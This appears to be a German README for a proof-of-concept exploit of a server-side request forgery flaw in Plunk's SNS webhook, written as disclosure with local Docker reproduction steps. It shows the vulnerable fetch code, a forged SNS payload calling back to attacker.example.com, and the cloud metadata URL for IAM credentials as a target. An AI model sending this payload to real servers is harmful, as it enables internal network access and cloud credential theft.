
Proof-of-Concept-Exploit für eine SSRF-Schwachstelle im SNS-Webhook von Plunk, der eine nicht authentifizierte Server-Side Request Forgery über eine nicht validierte SubscribeURL demonstriert.
SSRF über unvalidierte AWS-SNS-SubscriptionConfirmation in useplunk/plunk
Der Plunk-API-Endpunkt POST /webhooks/sns ruft eine vom Angreifer bereitgestellte SubscribeURL ab, ohne die kryptografische AWS-SNS-Signatur zu verifizieren. Ein nicht authentifizierter Angreifer kann den Server dazu zwingen, beliebige ausgehende HTTP-Anfragen zu senden (SSRF).
| Schweregrad | Kritisch — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N) |
| CWE | CWE-918: Server-Side Request Forgery |
| Betroffene Datei | apps/api/src/controllers/Webhooks.ts |
| Authentifizierung erforderlich | Keine |
// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — keine Signaturvalidierung
if (confirmResponse.ok) {
return res.status(200).json({ success: true, message: 'Subscription confirmed' });
}
}
Die minimale Payload besteht aus nur zwei Feldern:
{
"Type": "SubscriptionConfirmation",
"SubscribeURL": "http://attacker.example.com/callback"
}
http://169.254.169.254/latest/meta-data/iam/security-credentials/Plunk-Testumgebung starten:
docker compose up -d
SSRF-Callback-Listener starten:
python3 listener.py
Exploit ausführen:
chmod +x exploit.sh
./exploit.sh
Beobachten Sie den Callback-Treffer in der listener.py-Ausgabe, der bestätigt, dass der Server die vom Angreifer kontrollierte URL abgerufen hat.
| Datei | Beschreibung |
|---|---|
exploit.sh | End-to-End-Exploit-Skript — sendet gefälschte SNS-Payload an den verwundbaren Endpunkt |
listener.py | SSRF-Callback-Listener — erfasst und protokolliert eingehende Anfragen vom Plunk-Server |
docker-compose.yml | Minimale Docker-Compose-Umgebung (Postgres, Redis, Plunk) für die lokale Reproduktion |